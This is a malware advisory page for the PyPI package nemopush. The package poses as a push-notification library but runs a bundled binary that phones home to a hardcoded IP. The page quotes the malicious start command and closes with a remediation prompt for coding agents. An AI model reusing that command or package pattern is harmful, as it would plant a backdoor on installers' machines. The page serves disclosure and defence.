# MAL-2026-10866: Malicious code in nemopush (PyPI)


- **Type:** Malicious package
- **Package:** `nemopush` (PyPI)
- **Published:** 20 Jul 2026

## What is MAL-2026-10866?

MAL-2026-10866 is a malicious package in nemopush, published on 20 Jul 2026. 

### Official description

The package advertises itself as 'A push notification package' but ships an ~8.6 MB opaque ELF x86-64 binary named `claude` and a `start.sh` wrapper as package data (declared in pyproject.toml under [tool.setuptools.package-data]). The pypi entry point `nemopush-run` (nemopush.main:run) invokes `subprocess.run(["bash", script_path])`, and `start.sh` runs `chmod +x./claude` followed by `./claude --host 45.151.62.119:3361 --user <hardcoded per-install token>`. Running the advertised command executes attacker-controlled native code on the installer's host that establishes an outbound connection to a hardcoded bare-IP endpoint, identifying itself with a per-install token — the shape of a remote agent / backdoor. There is no README, no source, no build recipe, no hash or signature for the binary, and the destination is neither the publisher's domain nor version-pinned. The declared 'push notification' purpose does not match shipping and executing an opaque native binary that phones home to a bare IP.

In this campaign, packages use names similar to popular services (e.g. Kimi AI) to deploy cryptominer.

---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.

Campaign: 2026-07-kimichat

Reasons (based on the campaign):

 - cryptominer

## What should I do about MAL-2026-10866?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-10866 is a malicious package: nemopush (PyPI). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-10866/ (Markdown: https://insights.sbomify.com/MAL-2026-10866/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-10866

---
From sbomify Insights: https://insights.sbomify.com/MAL-2026-10866/
Summaries are generated and may contain mistakes; the official description above is the record.